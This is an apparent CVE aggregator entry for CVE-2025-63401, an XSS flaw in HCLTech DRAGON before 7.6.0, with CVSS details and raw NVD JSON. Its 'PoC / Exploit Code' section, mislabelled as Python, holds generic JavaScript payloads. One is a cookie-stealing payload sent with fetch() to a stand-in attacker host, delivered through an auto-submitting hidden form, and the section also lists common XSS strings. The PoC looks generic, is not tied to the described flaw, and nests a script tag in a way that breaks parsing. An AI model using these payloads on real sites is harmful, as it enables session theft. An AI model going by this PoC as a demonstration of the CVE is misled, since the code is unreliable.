Security Vulnerability Report
中文
CVE-2025-63401 CVSS 5.5 MEDIUM

CVE-2025-63401

Published: 2025-12-03 19:15:57
Last Modified: 2025-12-18 20:31:37

Description

Cross Site Scripting vulnerability in HCL Technologies Limited HCLTech DRAGON before v.7.6.0 allows a remote attacker to execute arbitrary code via missing directives

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:dragon:*:*:*:*:*:*:*:* - VULNERABLE
HCLTech DRAGON < 7.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63401 XSS PoC --> <!-- Target: HCLTech DRAGON < v7.6.0 --> <!-- This PoC demonstrates the XSS vulnerability via missing CSP directives --> <!-- PoC 1: Basic XSS Injection in URL Parameter --> <script> // Construct malicious URL with XSS payload const baseUrl = 'https://target-hcl-dragon.example.com/endpoint'; const xssPayload = '<script>alert("XSS Vulnerability - CVE-2025-63401")</script>'; const maliciousUrl = `${baseUrl}?input=${encodeURIComponent(xssPayload)}`; // Display the malicious URL for testing console.log('Malicious URL:', maliciousUrl); document.write('<h3>CVE-2025-63401 XSS Test</h3>'); document.write(`<p>Target URL: <a href="${maliciousUrl}">${maliciousUrl}</a></p>`); </script> <!-- PoC 2: Cookie Stealing Payload --> <script> // Payload to steal user session cookies const stealCookiePayload = `<img src=x onerror="fetch('https://attacker-server.example.com/steal?cookie='+document.cookie)">`; // Construct form submission for POST-based injection const formHtml = ` <form id="xssForm" method="POST" action="https://target-hcl-dragon.example.com/submit"> <input type="hidden" name="user_input" value="${stealCookiePayload}"> </form> <script>document.getElementById('xssForm').submit()</script> `; document.write(formHtml); </script> <!-- PoC 3: DOM-based XSS via URL fragment --> <script> // Check for DOM-based XSS using URL hash const hashValue = window.location.hash.substring(1); if (hashValue) { document.write('<div>' + hashValue + '</div>'); // Direct injection without encoding } </script> <!-- PoC 4: Automated Testing Script --> <script> const testPayloads = [ '<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '<svg onload=alert(1)>', 'javascript:alert(1)', '<iframe src="javascript:alert(1)">' ]; testPayloads.forEach((payload, index) => { console.log(`Testing payload ${index + 1}: ${payload}`); }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63401", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:57.020", "lastModified": "2025-12-18T20:31:37.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in HCL Technologies Limited HCLTech DRAGON before v.7.6.0 allows a remote attacker to execute arbitrary code via missing directives"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:H/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dragon:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.6.0", "matchCriteriaId": "0A4558B9-7770-4304-ADEC-AF823A7CF779"}]}]}], "references": [{"url": "http://hcl.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://hcltech.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://excalibur-hcl.my.salesforce.com/sfc/p/#U0000000YO14/a/Pf000003dyQn/x0oUOgfHG6F0wUhpmSMcmXMuwO2GYuSf_duzWPRebao", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}